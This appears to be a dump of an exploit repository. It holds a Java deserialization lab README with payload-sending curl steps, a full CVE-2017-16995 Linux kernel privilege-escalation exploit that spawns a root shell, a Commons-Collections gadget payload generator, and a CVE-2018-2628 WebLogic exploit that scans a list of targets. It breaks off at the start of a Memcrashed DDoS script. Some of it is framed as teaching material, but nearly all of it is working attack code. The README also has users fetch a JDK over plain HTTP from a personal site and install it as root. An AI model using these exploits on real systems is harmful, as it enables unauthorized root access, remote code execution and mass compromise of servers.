------ 27 | 28 | * PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504) 29 | 30 | [![Alt text](https://img.youtube.com/vi/jVMr4eeJ2Po/0.jpg)](https://www.youtube.com/watch?v=jVMr4eeJ2Po) 31 | 32 | * PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149) 33 | 34 | [![Alt text](https://img.youtube.com/vi/JIWMItSA8l0/0.jpg)](https://www.youtube.com/watch?v=JIWMItSA8l0) 35 | 36 | * PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell 37 | 38 | [![Alt text](https://img.youtube.com/vi/IrZOlqio0nw/0.jpg)](https://www.youtube.com/watch?v=IrZOlqio0nw) 39 | 40 | 41 | Lab Usage Examples 42 | -- 43 | First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work. 44 | 45 | ***Getting JDK*** 46 | 47 | If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/ 48 | 49 | As **root**, run: 50 | ``` 51 | # cd /opt 52 | # curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 53 | # tar zxvf jdk-8u20-linux-x64.tar.gz 54 | # rm -rf /usr/bin/java* 55 | # ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin 56 | # java -version 57 | java version "1.8.0_20" 58 | ``` 59 | 60 | 61 | ***Getting codes:*** 62 | 63 | ``` 64 | $ git clone https://github.com/joaomatosf/JavaDeserH2HC.git 65 | $ cd JavaDeserH2HC 66 | ``` 67 | 68 | ***Compiling and executing Vulnerable Web Application:*** 69 | 70 | ``` 71 | $ javac VulnerableHTTPServer.java -XDignore.symbol.file 72 | $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer 73 | ``` 74 | 75 | 76 | ``` 77 | * =============================================================== * 78 | * Simple Java HTTP Server for Deserialization Lab v0.01 * 79 | * https://github.com/joaomatosf/JavaDeserH2HC * 80 | * =============================================================== * 81 | You can inject java serialized objects in the following formats: 82 | 83 | 1) Binary in HTTP POST (ie \xAC\xED). Ex: 84 | $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser 85 | 86 | 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex: 87 | $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..." 88 | $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..." 89 | 90 | 3) Base64 or Gzip+Base64 in cookies. Ex: 91 | $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..." 92 | $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..." 93 | 94 | 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex: 95 | $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg... 96 | 97 | 5) XML for XStream RCE vulnerability/serialization. Ex: 98 | $ curl 127.0.0.1:8000 -d @file.xml 99 | 100 | OBS: To test gadgets in specific libraries, run with -cp param. Ex: 101 | $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer 102 | ================================================================== 103 | 104 | JRE Version: 1.8.0_77 105 | [INFO]: Listening on port 8000 106 | ``` 107 | 108 | ***Testing payloads*** 109 | 110 | Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72: 111 | 112 | ``` 113 | $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java 114 | ``` 115 | 116 | Generating payload: 117 | 118 | ``` 119 | $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017' 120 | Saving serialized object in ExampleCommonsCollections1.ser 121 | ``` 122 | 123 | Exploiting vulnerable server: 124 | 125 | Sending the payload in binary format via HTTP POST: 126 | ``` 127 | $ rm -rf /tmp/h2hc_2017 128 | $ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser 129 | Data deserialized! 130 | $ ls -all /tmp/h2hc_2017 131 | -rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017 132 | ``` 133 | 134 | Sending the payload in Gzip+Base64 format via HTTP Cookies: 135 | ``` 136 | $ rm -rf /tmp/h2hc_2017 137 | $ gzip ExampleCommonsCollections1.ser 138 | $ base64 -w0 ExampleCommonsCollections1.ser.gz 139 | $ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA" 140 | Data deserialized! 141 | $ ls -all /tmp/h2hc_2017 142 | -rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017 143 | ``` -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-16995 Ubuntu 16.04 本地提权漏洞/upstream44.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Ubuntu 16.04.4 kernel priv esc 3 | * 4 | * all credits to @bleidl 5 | * - vnik 6 | */ 7 | 8 | // Tested on: 9 | // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 10 | // if different kernel adjust CRED offset + check kernel stack size 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #define PHYS_OFFSET 0xffff880000000000 27 | #define CRED_OFFSET 0x5f8 28 | #define UID_OFFSET 4 29 | #define LOG_BUF_SIZE 65536 30 | #define PROGSIZE 328 31 | 32 | int sockets[2]; 33 | int mapfd, progfd; 34 | 35 | char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" 36 | "\x55\x09\x02\x00\xff\xff\xff\xff" 37 | "\xb7\x00\x00\x00\x00\x00\x00\x00" 38 | "\x95\x00\x00\x00\x00\x00\x00\x00" 39 | "\x18\x19\x00\x00\x03\x00\x00\x00" 40 | "\x00\x00\x00\x00\x00\x00\x00\x00" 41 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 42 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 43 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 44 | "\x62\x0a\xfc\xff\x00\x00\x00\x00" 45 | "\x85\x00\x00\x00\x01\x00\x00\x00" 46 | "\x55\x00\x01\x00\x00\x00\x00\x00" 47 | "\x95\x00\x00\x00\x00\x00\x00\x00" 48 | "\x79\x06\x00\x00\x00\x00\x00\x00" 49 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 50 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 51 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 52 | "\x62\x0a\xfc\xff\x01\x00\x00\x00" 53 | "\x85\x00\x00\x00\x01\x00\x00\x00" 54 | "\x55\x00\x01\x00\x00\x00\x00\x00" 55 | "\x95\x00\x00\x00\x00\x00\x00\x00" 56 | "\x79\x07\x00\x00\x00\x00\x00\x00" 57 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 58 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 59 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 60 | "\x62\x0a\xfc\xff\x02\x00\x00\x00" 61 | "\x85\x00\x00\x00\x01\x00\x00\x00" 62 | "\x55\x00\x01\x00\x00\x00\x00\x00" 63 | "\x95\x00\x00\x00\x00\x00\x00\x00" 64 | "\x79\x08\x00\x00\x00\x00\x00\x00" 65 | "\xbf\x02\x00\x00\x00\x00\x00\x00" 66 | "\xb7\x00\x00\x00\x00\x00\x00\x00" 67 | "\x55\x06\x03\x00\x00\x00\x00\x00" 68 | "\x79\x73\x00\x00\x00\x00\x00\x00" 69 | "\x7b\x32\x00\x00\x00\x00\x00\x00" 70 | "\x95\x00\x00\x00\x00\x00\x00\x00" 71 | "\x55\x06\x02\x00\x01\x00\x00\x00" 72 | "\x7b\xa2\x00\x00\x00\x00\x00\x00" 73 | "\x95\x00\x00\x00\x00\x00\x00\x00" 74 | "\x7b\x87\x00\x00\x00\x00\x00\x00" 75 | "\x95\x00\x00\x00\x00\x00\x00\x00"; 76 | 77 | char bpf_log_buf[LOG_BUF_SIZE]; 78 | 79 | static int bpf_prog_load(enum bpf_prog_type prog_type, 80 | const struct bpf_insn *insns, int prog_len, 81 | const char *license, int kern_version) { 82 | union bpf_attr attr = { 83 | .prog_type = prog_type, 84 | .insns = (__u64)insns, 85 | .insn_cnt = prog_len / sizeof(struct bpf_insn), 86 | .license = (__u64)license, 87 | .log_buf = (__u64)bpf_log_buf, 88 | .log_size = LOG_BUF_SIZE, 89 | .log_level = 1, 90 | }; 91 | 92 | attr.kern_version = kern_version; 93 | 94 | bpf_log_buf[0] = 0; 95 | 96 | return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); 97 | } 98 | 99 | static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, 100 | int max_entries) { 101 | union bpf_attr attr = { 102 | .map_type = map_type, 103 | .key_size = key_size, 104 | .value_size = value_size, 105 | .max_entries = max_entries 106 | }; 107 | 108 | return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); 109 | } 110 | 111 | static int bpf_update_elem(uint64_t key, uint64_t value) { 112 | union bpf_attr attr = { 113 | .map_fd = mapfd, 114 | .key = (__u64)&key, 115 | .value = (__u64)&value, 116 | .flags = 0, 117 | }; 118 | 119 | return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); 120 | } 121 | 122 | static int bpf_lookup_elem(void *key, void *value) { 123 | union bpf_attr attr = { 124 | .map_fd = mapfd, 125 | .key = (__u64)key, 126 | .value = (__u64)value, 127 | }; 128 | 129 | return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); 130 | } 131 | 132 | static void __exit(char *err) { 133 | fprintf(stderr, "error: %s\n", err); 134 | exit(-1); 135 | } 136 | 137 | static void prep(void) { 138 | mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); 139 | if (mapfd < 0) 140 | __exit(strerror(errno)); 141 | 142 | progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, 143 | (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); 144 | 145 | if (progfd < 0) 146 | __exit(strerror(errno)); 147 | 148 | if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) 149 | __exit(strerror(errno)); 150 | 151 | if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) 152 | __exit(strerror(errno)); 153 | } 154 | 155 | static void writemsg(void) { 156 | char buffer[64]; 157 | 158 | ssize_t n = write(sockets[0], buffer, sizeof(buffer)); 159 | 160 | if (n < 0) { 161 | perror("write"); 162 | return; 163 | } 164 | if (n != sizeof(buffer)) 165 | fprintf(stderr, "short write: %lu\n", n); 166 | } 167 | 168 | #define __update_elem(a, b, c) \ 169 | bpf_update_elem(0, (a)); \ 170 | bpf_update_elem(1, (b)); \ 171 | bpf_update_elem(2, (c)); \ 172 | writemsg(); 173 | 174 | static uint64_t get_value(int key) { 175 | uint64_t value; 176 | 177 | if (bpf_lookup_elem(&key, &value)) 178 | __exit(strerror(errno)); 179 | 180 | return value; 181 | } 182 | 183 | static uint64_t __get_fp(void) { 184 | __update_elem(1, 0, 0); 185 | 186 | return get_value(2); 187 | } 188 | 189 | static uint64_t __read(uint64_t addr) { 190 | __update_elem(0, addr, 0); 191 | 192 | return get_value(2); 193 | } 194 | 195 | static void __write(uint64_t addr, uint64_t val) { 196 | __update_elem(2, addr, val); 197 | } 198 | 199 | static uint64_t get_sp(uint64_t addr) { 200 | return addr & ~(0x4000 - 1); 201 | } 202 | 203 | static void pwn(void) { 204 | uint64_t fp, sp, task_struct, credptr, uidptr; 205 | 206 | fp = __get_fp(); 207 | if (fp < PHYS_OFFSET) 208 | __exit("bogus fp"); 209 | 210 | sp = get_sp(fp); 211 | if (sp < PHYS_OFFSET) 212 | __exit("bogus sp"); 213 | 214 | task_struct = __read(sp); 215 | 216 | if (task_struct < PHYS_OFFSET) 217 | __exit("bogus task ptr"); 218 | 219 | printf("task_struct = %lx\n", task_struct); 220 | 221 | credptr = __read(task_struct + CRED_OFFSET); // cred 222 | 223 | if (credptr < PHYS_OFFSET) 224 | __exit("bogus cred ptr"); 225 | 226 | uidptr = credptr + UID_OFFSET; // uid 227 | if (uidptr < PHYS_OFFSET) 228 | __exit("bogus uid ptr"); 229 | 230 | printf("uidptr = %lx\n", uidptr); 231 | __write(uidptr, 0); // set both uid and gid to 0 232 | 233 | if (getuid() == 0) { 234 | printf("spawning root shell\n"); 235 | system("/bin/bash"); 236 | exit(0); 237 | } 238 | 239 | __exit("not vulnerable?"); 240 | } 241 | 242 | int main(int argc, char **argv) { 243 | prep(); 244 | pwn(); 245 | 246 | return 0; 247 | } 248 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleCommonsCollections1.java: -------------------------------------------------------------------------------- 1 | import org.apache.commons.collections.Transformer; 2 | import org.apache.commons.collections.functors.ChainedTransformer; 3 | import org.apache.commons.collections.functors.ConstantTransformer; 4 | import org.apache.commons.collections.functors.InvokerTransformer; 5 | import org.apache.commons.collections.map.LazyMap; 6 | 7 | import java.io.*; 8 | import java.lang.*; 9 | import java.lang.annotation.Retention; 10 | import java.lang.reflect.Constructor; 11 | import java.lang.reflect.InvocationHandler; 12 | import java.lang.reflect.InvocationTargetException; 13 | import java.lang.reflect.Proxy; 14 | import java.util.*; 15 | 16 | /** 17 | * Gera payload que leva a execução de código durante a desserialização. 18 | * São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e 19 | * ChainedTransformer, da commons-collections e a AnnotationInvocationHandler, 20 | * do JRE, como trigger gadget. 21 | * Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger) 22 | * deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores, 23 | * deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException 24 | * ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser. 25 | * 26 | * ----------------------------------------------------------------------- 27 | * * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 28 | * * https://www.h2hc.com.br/revista/ 29 | * ----------------------------------------------------------------------- 30 | * 31 | * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de 32 | * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser 33 | * 34 | **** USAGE **** 35 | * 36 | * Compilando: 37 | * $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java 38 | * 39 | * Executando 40 | * $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017' 41 | * 42 | * @author @joaomatosf 43 | */ 44 | public class ExampleCommonsCollections1 { 45 | @SuppressWarnings ( {"unchecked"} ) 46 | public static void main(String[] args) 47 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, 48 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { 49 | 50 | // Verifica se o usuário forneceu o comando a ser executado 51 | if (args.length != 1) { 52 | System.out.println("Invalid params! \n" + 53 | "Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\""); 54 | System.exit(1); 55 | } 56 | 57 | // Seleciona o interpretador correto de acordo com o comando a ser executado 58 | //boolean isUnix = System.getProperty("file.separator").equals("/"); 59 | boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe"); 60 | String cmd[]; 61 | if (isUnix) 62 | cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado 63 | else 64 | cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado 65 | 66 | // Cria array de transformers que resulta na seguinte construção: 67 | //((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]); 68 | Transformer[] transformers = new Transformer[] { 69 | // retorna Class Runtime.class 70 | new ConstantTransformer(Runtime.class), 71 | // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0]) 72 | new InvokerTransformer( 73 | "getMethod", // invoca método getMethod 74 | ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[]) 75 | ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0]) 76 | ), 77 | // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0]) 78 | new InvokerTransformer( 79 | "invoke", // invoca método: invoke 80 | (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[]) 81 | (new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0]) 82 | ), 83 | // 3o. Objeto InvokerTransformer: .exec(cmd[]) 84 | new InvokerTransformer( 85 | "exec", // invoca método: exec 86 | new Class[] { String[].class }, // tipos dos parâmetros: (String[]) 87 | new Object[]{ cmd } ) // parâmetros: (cmd[]) 88 | }; 89 | 90 | // Cria o objeto ChainedTransformer com o array de Transformers: 91 | Transformer transformerChain = new ChainedTransformer(transformers); 92 | // Cria o map 93 | Map map = new HashMap(); 94 | // Decora o map com o LazyMap e a cadeia de transformações como factory 95 | Map lazyMap = LazyMap.decorate(map,transformerChain); 96 | 97 | // Usa reflexão para obter referencia da classe AnnotationInvocationHandler 98 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 99 | // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map 100 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 101 | // Torna o construtor acessível 102 | ctor.setAccessible(true); 103 | // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um 104 | // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo 105 | // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"! 106 | InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap); 107 | 108 | //cria a interface map 109 | Class[] interfaces = new Class[] {java.util.Map.class}; 110 | // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers) 111 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap); 112 | 113 | // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues 114 | // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o 115 | // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers) 116 | InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap); 117 | 118 | // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado, 119 | // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke(). 120 | // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap 121 | // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)! 122 | System.out.println("Saving serialized object in ExampleCommonsCollections1.ser"); 123 | FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser"); 124 | ObjectOutputStream oos = new ObjectOutputStream(fos); 125 | oos.writeObject(handlerProxy); 126 | oos.flush(); 127 | 128 | } 129 | } -------------------------------------------------------------------------------- /CVE_EXP/CVE-2018-2628 weblogic/CVE-2018-2628.py: -------------------------------------------------------------------------------- 1 | #coding = utf8 2 | import socket 3 | import time 4 | import re,os,sys,codecs 5 | 6 | type = 'utf-8' 7 | reload(sys) 8 | sys.setdefaultencoding(type) 9 | IpFile=file('./weblogic1.txt') 10 | fp= codecs.open("./weblogic1_success.txt","a") 11 | timeout=15 12 | 13 | 14 | VUL=['CVE-2018-2628'] 15 | PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'] 16 | VER_SIG=['\\$Proxy[0-9]+'] 17 | 18 | def t3handshake(sock,server_addr): 19 | print '\n[*]Connecting to server...'.decode(type) 20 | sock.connect(server_addr) 21 | sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) 22 | time.sleep(1) 23 | sock.recv(1024) 24 | 25 | 26 | def buildT3RequestObject(sock,port,server_addr): 27 | print '%s:%dcontent-successful...'.decode(type) %(server_addr[0],server_addr[1]) 28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' 29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) 30 | data3 = '1a7727000d3234322e323134' 31 | data4 = '2e312e32353461863d1d0000000078' 32 | for d in [data1,data2,data3,data4]: 33 | sock.send(d.decode('hex')) 34 | time.sleep(2) 35 | date = len(sock.recv(2048)) 36 | print 'Send payload request successful, receive length:%d'.decode(type) %(date) 37 | return date 38 | 39 | def sendEvilObjData(sock,data): 40 | print 'The payload is being executed, please wait...'.decode(type) 41 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' 42 | payload+=data 43 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' 44 | payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) 45 | sock.send(payload.decode('hex')) 46 | time.sleep(2) 47 | sock.send(payload.decode('hex')) 48 | res = '' 49 | try: 50 | while True: 51 | res += sock.recv(4096) 52 | time.sleep(0.1) 53 | except Exception as e: 54 | pass 55 | return res 56 | 57 | def checkVul(res,server_addr,index): 58 | print 'result:'.decode(type) 59 | p=re.findall(VER_SIG[index], res, re.S) 60 | if len(p)>0: 61 | info='%s:%d exist %s Vulnerability.' %(server_addr[0],server_addr[1],VUL[index]) 62 | info=info.decode(type) 63 | print info 64 | info=info+"\n" 65 | fp.write(info) 66 | fp.flush() 67 | else: 68 | print '%s:%d notexist %s Vulnerability'.decode(type) % (server_addr[0],server_addr[1],VUL[index]) 69 | 70 | 71 | def check(host,port,index): 72 | dip=host 73 | global dport 74 | dport=port 75 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 76 | sock.settimeout(timeout) 77 | server_addr = (dip, dport) 78 | try: 79 | t3handshake(sock,server_addr) 80 | except Exception as e: 81 | print '%s:%dConnection failed. Please check if the IP is alive...'.decode(type) %(server_addr[0],server_addr[1]) 82 | else: 83 | try: 84 | dateout = buildT3RequestObject(sock,dport,server_addr) 85 | if dateout == 0: 86 | print '%s:%d not exist %s Vulnerability.'.decode(type) % (server_addr[0],server_addr[1],VUL[index]) 87 | else: 88 | rs=sendEvilObjData(sock,PAYLOAD[index]) 89 | # print 'rs',rs 90 | checkVul(rs,server_addr,index) 91 | except Exception as e: 92 | print '%s:%dFrequent requests...'.decode(type) %(server_addr[0],server_addr[1]) 93 | finally: 94 | sock.close() 95 | 96 | 97 | if __name__=="__main__": 98 | ip_list = [] 99 | ip_list=[] 100 | print "[*]weblogic url list:", 101 | while True: 102 | line = IpFile.readline() 103 | if len(line) == 0: # Zero length indicates EOF 104 | break 105 | #exit() 106 | line=line.strip() 107 | print line, 108 | ip_list.append(line) 109 | IpFile.close() 110 | print "\n" 111 | for i in ip_list: 112 | host,port=i.split(":") 113 | check(host,int(port),0) 114 | fp.close() 115 | print "[*]Test done,please type weblogic1_success.txt!\n" 116 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/Memcrashed.py: -------------------------------------------------------------------------------- 1 | #-- coding: utf8 -- 2 | #!/usr/bin/env python3 3 